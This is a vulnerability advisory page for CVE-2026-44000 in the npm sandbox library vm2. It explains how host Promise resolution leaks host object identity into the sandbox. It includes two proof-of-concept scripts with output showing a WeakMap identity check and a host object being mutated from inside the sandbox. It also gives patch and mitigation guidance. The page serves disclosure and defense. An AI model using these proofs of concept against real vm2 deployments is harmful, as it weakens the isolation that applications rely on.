# CVE-2026-44000: vm2 Info Disclosure — Fixed in 3.11.0 📦 📦 npm Not in CISA KEV MEDIUM severity # CVE-2026-44000 — vm2 MEDIUM CVE-2026-44000 is a medium-severity (CVSS 6.5) CWE-693 vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below. vm2: sandbox boundary bypass via host Promise resolution preserving host object identity Also known as[GHSA-mpf8-4hx2-7cjg](/vulnerability/GHSA-mpf8-4hx2-7cjg) Published May 13, 2026 Updated Oct 28, 2026 Affected 1 pkg Patched 1 / 1 Exploits None indexed Exploitation data as of Nov 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS) ## Exploitation Status ### Proof-of-concept exploit code exists - CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation. - CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks. Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44000. ## EPSS Exploitation Probability [via FIRST.org ↗](https://www.first.org/epss/) 0.2%probability of exploitation in next 30 days Lower Risk0.00% Lower risk than most CVEs10th percentile — riskier than 10% of all scored CVEsHighest risk 0.00%0.26%0.53%0.79%0.0%0.2%Jun 26Sep 26Nov 26 Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/). ## How urgent is this, really ## Where this sits among everything scored ## Real-World Exposure 1 pkg affected How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched. 898other npm packages depend on this — each one inherits the vulnerability until it's patched upstream `vm2`npm 1.3Mdownloads / week ## Description #### Summary A sandbox boundary violation in **vm2** allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox `.then()` callback preserves host identity. This allows the sandbox to interact with the host object directly, including: - Performing identity checks using host-side `WeakMap` - Mutating host object state from inside the sandbox This behavior occurs because the Promise fulfillment wrapper uses `ensureThis()` instead of the stronger cross-realm conversion path (`from()` / proxy wrapping). If no prototype mapping is found, `ensureThis()` returns the original object. As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation. * * * #### Details In `setup-sandbox.js`, vm2 wraps `Promise.prototype.then`: ``` globalPromise.prototype.then = function then(onFulfilled, onRejected) { resetPromiseSpecies(this); if (typeof onFulfilled === 'function') { const origOnFulfilled = onFulfilled; onFulfilled = function onFulfilled(value) { value = ensureThis(value); return apply(origOnFulfilled, this, [value]); }; } return apply(globalPromiseThen, this, [onFulfilled, onRejected]); }; The wrapper calls ensureThis(value) before invoking the sandbox callback. However, ensureThis is implemented in bridge.js as thisEnsureThis(): function thisEnsureThis(other) { const type = typeof other; switch (type) { case 'object': if (other === null) return null; case 'function': let proto = thisReflectGetPrototypeOf(other); if (!proto) { return other; } while (proto) { const mapping = thisReflectApply(thisMapGet, protoMappings, [proto]); if (mapping) { const mapped = thisReflectApply(thisWeakMapGet, mappingOtherToThis, [other]); if (mapped) return mapped; return mapping(defaultFactory, other); } proto = thisReflectGetPrototypeOf(proto); } return other; If no prototype mapping is found, ensureThis() simply returns the original object: return other; This means the sandbox receives the original host object instead of a proxied or sanitized representation. Because of this behavior, values resolved by host Promises can cross the host–sandbox boundary with identity preserved. PoC The following Proof of Concept demonstrates that an object resolved by a host Promise can be used as a valid key in a host-side WeakMap from inside the sandbox. WeakMap keys rely on reference identity, so a successful lookup proves that the sandbox received the host object identity. PoC Code import {VM} from "./index.js"; const hostObj = {tag: "HOST_OBJ"}; const hostPromise = Promise.resolve(hostObj); // WeakMap created on the host const wm = new WeakMap([[hostObj, "HIT"]]); const vm = new VM({ sandbox: {hostPromise, wm}, timeout: 1000, eval: false, wasm: false, }); const code = ` hostPromise.then(v => ({ weakMapGet: wm.get(v), typeofV: typeof v, tag: v.tag })) `; const result = await vm.run(code); console.log("VM RESULT:", result); console.log("HOST SAME KEY STILL:", wm.get(hostObj)); Output VM RESULT: { weakMapGet: 'HIT', typeofV: 'object', tag: 'HOST_OBJ' } HOST SAME KEY STILL: HIT This confirms that the object delivered to the sandbox callback retains host identity. Additional Demonstration: Host Object Mutation The sandbox can also mutate host object state through the resolved Promise value. import {VM} from "./index.js"; const hostObj = {tag: "HOST_OBJ", nested: {x: 1}}; const hostPromise = Promise.resolve(hostObj); const vm = new VM({ sandbox: {hostPromise}, timeout: 1000, eval: false, wasm: false, }); const code = ` hostPromise.then(v => { v.nested.x = 999; v.tag = "MUTATED"; return { seenTag: v.tag, seenX: v.nested.x }; }) `; const result = await vm.run(code); console.log("VM RESULT:", result); console.log("HOST AFTER:", hostObj); **Output:** VM RESULT: { seenTag: 'MUTATED', seenX: 999 } HOST AFTER: { tag: 'MUTATED', nested: { x: 999 } } This demonstrates write-through mutation of a host object from sandbox code. **Impact** This vulnerability allows host object references to cross the vm2 sandbox boundary via Promise resolution. Consequences include: Host object identity disclosure Write-through mutation of host objects WeakMap / WeakSet identity oracle across the boundary Potential capability leaks if sensitive host objects are reachable via Promises Applications that expose host Promises to sandboxed code may unintentionally grant the sandbox direct access to host objects. This weakens the intended isolation guarantees of vm2. ``` ## Affected Packages 1 total 1 fixed Ecosystem Package Vulnerable range Fix 📦npm `vm2` all versions 3.11.0`npm install vm2@3.11.0` ## Affected Products 1 product · 1 configurations Application `vm2`vm2\_project < 3.11.0 range ## Detection & mitigation playbook Open-source dependency 1. ### Detect Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version. 2. ### Fix Update vm2 to 3.11.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44000 is resolved across your whole dependency graph. 3. ### Workarounds If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands. ## Fixing This On Your OS If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project. Red HatModerate vm2 is vulnerable to sandbox boundary violation when host Promises resolve host objects into sandbox callbacks, enabling direct host object interaction and limited confidentiality/integrity impact. A remote unauthenticated attacker who can run sandboxed code and trigger host Promise resolution may read or mutate host… Product Fixed in Advisory Red Hat Ansible Automation Platform 2.1 `ansible-automation-platform/automation-portal:1785854226` [RHSA-2026:50850](https://access.redhat.com/errata/RHSA-2026:50850) ## Frequently Asked Questions \### Summary A sandbox boundary violation in \*\*vm2\*\* allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox \`.then()\` callback preserves host identity. This allows the sandbox to interact with the host object directly, including: - Performing identity checks using host-side \`WeakMap\` - Mutating host object state from inside the sandbox This behavior occurs because the Promise fulfillment wrapper uses \`ensureThis()\` instead of the stronger cros O3 Security · Impact-Aware SCA ### Is CVE-2026-44000 in your dependencies? Find it across npm, including transitive dependencies. [Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)